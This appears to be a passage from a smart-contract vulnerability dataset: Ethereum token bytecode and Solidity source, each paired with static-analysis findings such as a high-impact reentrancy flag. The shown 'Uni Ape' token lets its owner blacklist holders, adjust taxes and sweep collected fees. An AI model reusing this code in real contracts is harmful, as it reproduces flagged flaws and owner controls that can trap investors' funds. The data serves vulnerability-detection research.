ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103b57600080fd5b600060149054906101000a900460ff16151561105657600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035481565b600a5481565b600060149054906101000a900460ff1681565b600e6020528060005260406000206000915090505481565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561113657600080fd5b60008111151561114557600080fd5b8060018190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111aa57600080fd5b600060149054906101000a900460ff161515156111c657600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60095481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060149054906101000a900460ff1615151561127d57600080fd5b611295600554620b71b06108c490919063ffffffff16565b600a541015156112a457600080fd5b60015442101580156112b7575060025442105b15156112c257600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131d57600080fd5b6000602060ff16118015611346575061134260045460646108c490919063ffffffff16565b8210155b80156113fd5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166377cebd89846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15156113e557600080fd5b5af115156113f257600080fd5b505050604051805190505b151561140857600080fd5b611431600454611423600554856108c490919063ffffffff16565b6108f790919063ffffffff16565b905061144881600a5461091290919063ffffffff16565b600a8190555061146961145a82610930565b8261091290919063ffffffff16565b905061148081600b5461091290919063ffffffff16565b600b81905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bc0409bf84836040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b151561152657600080fd5b5af1151561153357600080fd5b505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561159657600080fd5b6000811115156115a557600080fd5b8060028190555050565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561164c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176557600080fd5b60008111151561177457600080fd5b8060088190555050565b600082821115151561178c57fe5b818303905092915050565b6000806117ad83856108c490919063ffffffff16565b90506117c36064826108f790919063ffffffff16565b90506117da600454826108f790919063ffffffff16565b90508091505092915050565b600c80548060010182816117fa919061194c565b91600052602060002090016000621ab3f090919091505550600c8054806001018281611826919061194c565b91600052602060002090016000629e14c090919091505550600c8054806001018281611852919061194c565b916000526020600020900160006301219ca090919091505550600c805480600101828161187f919061194c565b9160005260206000209001600063017d784090919091505550600d80548060010182816118ac919061194c565b916000526020600020900160006217cdc090919091505550600d80548060010182816118d8919061194c565b91600052602060002090016000628cafa090919091505550600d8054806001018281611904919061194c565b91600052602060002090016000630101918090919091505550600d8054806001018281611931919061194c565b9160005260206000209001600063015333f090919091505550565b815481835581811511611973578183600052602060002091820191016119729190611978565b5b505050565b61199a91905b8082111561199657600081600090555060010161197e565b5090565b905600a165627a7a72305820b49f615d5361e3d0e99ee65372846eb5ff9723fb2ec4b039c665b4d9cf1a1ff30029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,008
0xc78342fcd3fbbedf332f159e3b3815695e5e55f1
/* Tg: https://t.me/uniapeofficial $Uniape Initial Cap - 10k Max transaction 1% SLippage: 12% + */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract uniapeeth is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Uni Ape"; string private constant _symbol = "UNIAPE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x011ee33eDb3852eC90708045557AD9A1f4D72A46); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 10_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 10_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 30) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 30) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610345578063c3c8cd8014610365578063c9567bf91461037a578063dbe8272c1461038f578063dc1052e2146103af578063dd62ed3e146103cf57600080fd5b8063715018a6146102a45780638da5cb5b146102b957806395d89b41146102e15780639e78fb4f14610310578063a9059cbb1461032557600080fd5b806323b872dd116100f257806323b872dd14610213578063273123b714610233578063313ce567146102535780636fc3eaec1461026f57806370a082311461028457600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019e57806318160ddd146101ce5780631bbae6e0146101f357600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611872565b610415565b005b34801561016857600080fd5b50604080518082019091526007815266556e692041706560c81b60208201525b60405161019591906118ef565b60405180910390f35b3480156101aa57600080fd5b506101be6101b9366004611780565b610466565b6040519015158152602001610195565b3480156101da57600080fd5b50670de0b6b3a76400005b604051908152602001610195565b3480156101ff57600080fd5b5061015a61020e3660046118aa565b61047d565b34801561021f57600080fd5b506101be61022e366004611740565b6104bf565b34801561023f57600080fd5b5061015a61024e3660046116d0565b610528565b34801561025f57600080fd5b5060405160098152602001610195565b34801561027b57600080fd5b5061015a610573565b34801561029057600080fd5b506101e561029f3660046116d0565b6105a7565b3480156102b057600080fd5b5061015a6105c9565b3480156102c557600080fd5b506000546040516001600160a01b039091168152602001610195565b3480156102ed57600080fd5b50604080518082019091526006815265554e4941504560d01b6020820152610188565b34801561031c57600080fd5b5061015a61063d565b34801561033157600080fd5b506101be610340366004611780565b61087c565b34801561035157600080fd5b5061015a6103603660046117ab565b610889565b34801561037157600080fd5b5061015a61092d565b34801561038657600080fd5b5061015a61096d565b34801561039b57600080fd5b5061015a6103aa3660046118aa565b610b33565b3480156103bb57600080fd5b5061015a6103ca3660046118aa565b610b6b565b3480156103db57600080fd5b506101e56103ea366004611708565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104485760405162461bcd60e51b815260040161043f90611942565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610473338484610ba3565b5060015b92915050565b6000546001600160a01b031633146104a75760405162461bcd60e51b815260040161043f90611942565b662386f26fc100008111156104bc5760108190555b50565b60006104cc848484610cc7565b61051e843361051985604051806060016040528060288152602001611ac0602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fbe565b610ba3565b5060019392505050565b6000546001600160a01b031633146105525760405162461bcd60e51b815260040161043f90611942565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461059d5760405162461bcd60e51b815260040161043f90611942565b476104bc81610ff8565b6001600160a01b03811660009081526002602052604081205461047790611032565b6000546001600160a01b031633146105f35760405162461bcd60e51b815260040161043f90611942565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106675760405162461bcd60e51b815260040161043f90611942565b600f54600160a01b900460ff16156106c15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043f565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072157600080fd5b505afa158015610735573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075991906116ec565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a157600080fd5b505afa1580156107b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d991906116ec565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082157600080fd5b505af1158015610835573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085991906116ec565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610473338484610cc7565b6000546001600160a01b031633146108b35760405162461bcd60e51b815260040161043f90611942565b60005b8151811015610929576001600660008484815181106108e557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092181611a55565b9150506108b6565b5050565b6000546001600160a01b031633146109575760405162461bcd60e51b815260040161043f90611942565b6000610962306105a7565b90506104bc816110b6565b6000546001600160a01b031633146109975760405162461bcd60e51b815260040161043f90611942565b600e546109b79030906001600160a01b0316670de0b6b3a7640000610ba3565b600e546001600160a01b031663f305d71947306109d3816105a7565b6000806109e86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4b57600080fd5b505af1158015610a5f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8491906118c2565b5050600f8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afb57600080fd5b505af1158015610b0f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104bc919061188e565b6000546001600160a01b03163314610b5d5760405162461bcd60e51b815260040161043f90611942565b601e8110156104bc57600b55565b6000546001600160a01b03163314610b955760405162461bcd60e51b815260040161043f90611942565b601e8110156104bc57600c55565b6001600160a01b038316610c055760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043f565b6001600160a01b038216610c665760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043f565b6001600160a01b038216610d8d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043f565b60008111610def5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043f565b6001600160a01b03831660009081526006602052604090205460ff1615610e1557600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5757506001600160a01b03821660009081526005602052604090205460ff16155b15610fae576000600955600c54600a55600f546001600160a01b038481169116148015610e925750600e546001600160a01b03838116911614155b8015610eb757506001600160a01b03821660009081526005602052604090205460ff16155b8015610ecc5750600f54600160b81b900460ff165b15610ee057601054811115610ee057600080fd5b600f546001600160a01b038381169116148015610f0b5750600e546001600160a01b03848116911614155b8015610f3057506001600160a01b03831660009081526005602052604090205460ff16155b15610f41576000600955600b54600a555b6000610f4c306105a7565b600f54909150600160a81b900460ff16158015610f775750600f546001600160a01b03858116911614155b8015610f8c5750600f54600160b01b900460ff165b15610fac57610f9a816110b6565b478015610faa57610faa47610ff8565b505b505b610fb983838361125b565b505050565b60008184841115610fe25760405162461bcd60e51b815260040161043f91906118ef565b506000610fef8486611a3e565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610929573d6000803e3d6000fd5b60006007548211156110995760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161043f565b60006110a3611266565b90506110af8382611289565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116057600080fd5b505afa158015611174573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119891906116ec565b816001815181106111b957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111df9130911684610ba3565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611218908590600090869030904290600401611977565b600060405180830381600087803b15801561123257600080fd5b505af1158015611246573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fb98383836112cb565b60008060006112736113c2565b90925090506112828282611289565b9250505090565b60006110af83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611402565b6000806000806000806112dd87611430565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061130f908761148d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133e90866114cf565b6001600160a01b0389166000908152600260205260409020556113608161152e565b61136a8483611578565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113af91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113dd8282611289565b8210156113f957505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114235760405162461bcd60e51b815260040161043f91906118ef565b506000610fef84866119ff565b600080600080600080600080600061144d8a600954600a5461159c565b925092509250600061145d611266565b905060008060006114708e8787876115f1565b919e509c509a509598509396509194505050505091939550919395565b60006110af83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fbe565b6000806114dc83856119e7565b9050838110156110af5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043f565b6000611538611266565b905060006115468383611641565b3060009081526002602052604090205490915061156390826114cf565b30600090815260026020526040902055505050565b600754611585908361148d565b60075560085461159590826114cf565b6008555050565b60008080806115b660646115b08989611641565b90611289565b905060006115c960646115b08a89611641565b905060006115e1826115db8b8661148d565b9061148d565b9992985090965090945050505050565b60008080806116008886611641565b9050600061160e8887611641565b9050600061161c8888611641565b9050600061162e826115db868661148d565b939b939a50919850919650505050505050565b60008261165057506000610477565b600061165c8385611a1f565b90508261166985836119ff565b146110af5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043f565b80356116cb81611a9c565b919050565b6000602082840312156116e1578081fd5b81356110af81611a9c565b6000602082840312156116fd578081fd5b81516110af81611a9c565b6000806040838503121561171a578081fd5b823561172581611a9c565b9150602083013561173581611a9c565b809150509250929050565b600080600060608486031215611754578081fd5b833561175f81611a9c565b9250602084013561176f81611a9c565b929592945050506040919091013590565b60008060408385031215611792578182fd5b823561179d81611a9c565b946020939093013593505050565b600060208083850312156117bd578182fd5b823567ffffffffffffffff808211156117d4578384fd5b818501915085601f8301126117e7578384fd5b8135818111156117f9576117f9611a86565b8060051b604051601f19603f8301168101818110858211171561181e5761181e611a86565b604052828152858101935084860182860187018a101561183c578788fd5b8795505b8386101561186557611851816116c0565b855260019590950194938601938601611840565b5098975050505050505050565b600060208284031215611883578081fd5b81356110af81611ab1565b60006020828403121561189f578081fd5b81516110af81611ab1565b6000602082840312156118bb578081fd5b5035919050565b6000806000606084860312156118d6578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561191b578581018301518582016040015282016118ff565b8181111561192c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119c65784516001600160a01b0316835293830193918301916001016119a1565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119fa576119fa611a70565b500190565b600082611a1a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a3957611a39611a70565b500290565b600082821015611a5057611a50611a70565b500390565b6000600019821415611a6957611a69611a70565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104bc57600080fd5b80151581146104bc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ea51d6a8d5602ebe64932d1661f066561bc94487f8042590d6220a59836392d364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,009
0x21dee55e8868f124b2cfa373a27edb60e90b255f
/** *Submitted for verification at Etherscan.io on 2021-08-04 */ /** *Submitted for verification at Etherscan.io on 2021-08-02 /** * https://t.me/KhabYtokenETH * * TOKENOMICS: * 8,000,000 token supply * FIRST FIVE MINUTES:3% max buy / 15-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 180 second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS * No buy or sell token limits. Whales are welcome! * 10% total tax on buy * Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT. * No team tokens, no presale * A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork * * */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint 